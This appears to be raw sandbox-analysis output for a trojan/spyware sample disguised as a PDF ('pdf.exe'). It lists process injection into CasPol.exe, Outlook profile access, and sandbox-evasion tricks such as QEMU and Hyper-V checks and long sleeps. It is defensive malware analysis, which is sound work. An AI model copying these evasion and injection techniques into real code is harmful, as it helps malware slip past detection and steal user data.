            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BC3D902_2_02BC3D90
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BB05962_2_02BB0596
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BACDF92_2_02BACDF9
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA51EC2_2_02BA51EC
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA5DD82_2_02BA5DD8
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA31DE2_2_02BA31DE
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA55DC2_2_02BA55DC
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA21D22_2_02BA21D2
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BC6DCF2_2_02BC6DCF
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA61CE2_2_02BA61CE
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA19C02_2_02BA19C0
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA21382_2_02BA2138
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA61392_2_02BA6139
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BB0D372_2_02BB0D37
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA592B2_2_02BA592B
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA251B2_2_02BA251B
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA4D122_2_02BA4D12
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA7D112_2_02BA7D11
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA2D0B2_2_02BA2D0B
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA1D032_2_02BA1D03
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA2D7C2_2_02BA2D7C
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BAC16B2_2_02BAC16B
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BAFD6C2_2_02BAFD6C
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA315C2_2_02BA315C
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA5D502_2_02BA5D50
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA55462_2_02BA5546
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 5_2_00C21BD75_2_00C21BD7
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 5_2_1D1D73B05_2_1D1D73B0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 5_2_1D1DA9A85_2_1D1DA9A8
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 5_2_1D1D9D905_2_1D1D9D90
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 5_2_1D1DA0D85_2_1D1DA0D8
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 5_2_209268905_2_20926890
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 5_2_20921C005_2_20921C00
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 5_2_2092003B5_2_2092003B
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 5_2_209200405_2_20920040
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 5_2_20921BFD5_2_20921BFD
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BC7CE2 NtProtectVirtualMemory,2_2_02BC7CE2
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeSection loaded: edgegdi.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: edgegdi.dllJump to behavior
            Source: 008s06523610054680b6011375030062022.pdf.exeStatic PE information: invalid certificate
            Source: 008s06523610054680b6011375030062022.pdf.exeVirustotal: Detection: 40%
            Source: 008s06523610054680b6011375030062022.pdf.exeReversingLabs: Detection: 46%
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeFile read: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeJump to behavior
            Source: 008s06523610054680b6011375030062022.pdf.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
            Source: unknownProcess created: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exe C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exe
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exe
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exe
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeJump to behavior
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeJump to behavior
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32Jump to behavior
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_0040352D EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,2_2_0040352D
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeFile created: C:\Users\user\Cooptation.iniJump to behavior
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeFile created: C:\Users\user\AppData\Local\Temp\nsy69F2.tmpJump to behavior
            Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@6/8@3/3
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_004021AA CoCreateInstance,2_2_004021AA
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeFile read: C:\Users\desktop.iniJump to behavior
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_0040498A GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,2_2_0040498A
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dllJump to behavior
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5012:304:WilStaging_02
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5012:120:WilError_03
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676Jump to behavior
            Source: 008s06523610054680b6011375030062022.pdf.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

            Data Obfuscation

            barindex
            Source: Yara matchFile source: Process Memory Space: 008s06523610054680b6011375030062022.pdf.exe PID: 8376, type: MEMORYSTR
            Source: Yara matchFile source: 00000005.00000000.1271980105.0000000000C00000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_706930C0 push eax; ret 2_2_706930EE
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BB129A push edx; ret 2_2_02BB129F
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BAAEC4 push eax; iretd 2_2_02BAAEED
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BAAA3E push ds; retf 2_2_02BAAA4F
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BAA7B0 push esp; ret 2_2_02BAA7F4
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BAA7DF push esp; ret 2_2_02BAA7F4
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BAAF17 push eax; iretd 2_2_02BAAEED
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BB1375 push edi; retf 2_2_02BB1378
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA9DD6 push FFFFFFCCh; retf 2_2_02BA9DD8
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA912E push edx; ret 2_2_02BA913D
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BAF96B push FFFFFFE1h; iretd 2_2_02BAF96D
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 5_2_00C21BD7 push ss; ret 5_2_00C013E0
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_70691BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,2_2_70691BFF
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeFile created: C:\Users\user\AppData\Local\Temp\nsu6C45.tmp\System.dllJump to dropped file

            Hooking and other Techniques for Hiding and Protection

            barindex
            Source: Possible double extension: pdf.exeStatic PE information: 008s06523610054680b6011375030062022.pdf.exe
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

            Malware Analysis System Evasion

            barindex
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeFile opened: C:\Program Files\Qemu-ga\qemu-ga.exeJump to behavior
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeFile opened: C:\Program Files\qga\qga.exeJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Program Files\Qemu-ga\qemu-ga.exeJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Program Files\qga\qga.exeJump to behavior
            Source: 008s06523610054680b6011375030062022.pdf.exe, 00000002.00000002.1526248513.00000000006D8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
            Source: 008s06523610054680b6011375030062022.pdf.exe, 00000002.00000002.1526248513.00000000006D8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXERA)\
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 4576Thread sleep time: -922337203685477s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 4576Thread sleep time: -100000s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 4576Thread sleep time: -60000s >= -30000sJump to behavior
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA2EBB rdtsc 2_2_02BA2EBB
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeWindow / User API: threadDelayed 9953Jump to behavior
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: K32EnumDeviceDrivers,2_2_02BC8B76
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information queried: ProcessInformationJump to behavior
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_00405C49 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,2_2_00405C49
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_00406873 FindFirstFileW,FindClose,2_2_00406873
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_0040290B FindFirstFileW,2_2_0040290B
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 100000Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 30000Jump to behavior
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeSystem information queried: ModuleInformationJump to behavior
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeAPI call chain: ExitProcess graph end nodegraph_2-25556
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeAPI call chain: ExitProcess graph end nodegraph_2-25549
            Source: 008s06523610054680b6011375030062022.pdf.exe, 00000002.00000002.1527844677.0000000002D39000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V Guest Shutdown Service
            Source: 008s06523610054680b6011375030062022.pdf.exe, 00000002.00000002.1527844677.0000000002D39000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V Remote Desktop Virtualization Service
            Source: 008s06523610054680b6011375030062022.pdf.exe, 00000002.00000002.1527844677.0000000002D39000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: vmicshutdown
            Source: 008s06523610054680b6011375030062022.pdf.exe, 00000002.00000002.1527844677.0000000002D39000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V Volume Shadow Copy Requestor
            Source: 008s06523610054680b6011375030062022.pdf.exe, 00000002.00000002.1527844677.0000000002D39000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V PowerShell Direct Service
            Source: 008s06523610054680b6011375030062022.pdf.exe, 00000002.00000002.1527844677.0000000002D39000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V Time Synchronization Service
            Source: 008s06523610054680b6011375030062022.pdf.exe, 00000002.00000002.1527844677.0000000002D39000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: vmicvss
            Source: CasPol.exe, 00000005.00000002.5860229656.0000000001009000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
            Source: 008s06523610054680b6011375030062022.pdf.exe, 00000002.00000002.1527844677.0000000002D39000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V Data Exchange Service
            Source: 008s06523610054680b6011375030062022.pdf.exe, 00000002.00000002.1526248513.00000000006D8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exera)\
            Source: 008s06523610054680b6011375030062022.pdf.exe, 00000002.00000002.1527844677.0000000002D39000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V Heartbeat Service
            Source: CasPol.exe, 00000005.00000002.5856655006.0000000000FA9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW@
            Source: 008s06523610054680b6011375030062022.pdf.exe, 00000002.00000002.1527844677.0000000002D39000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V Guest Service Interface
            Source: 008s06523610054680b6011375030062022.pdf.exe, 00000002.00000002.1526248513.00000000006D8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\C:\Program Files\Qemu-ga\qemu-ga.exe
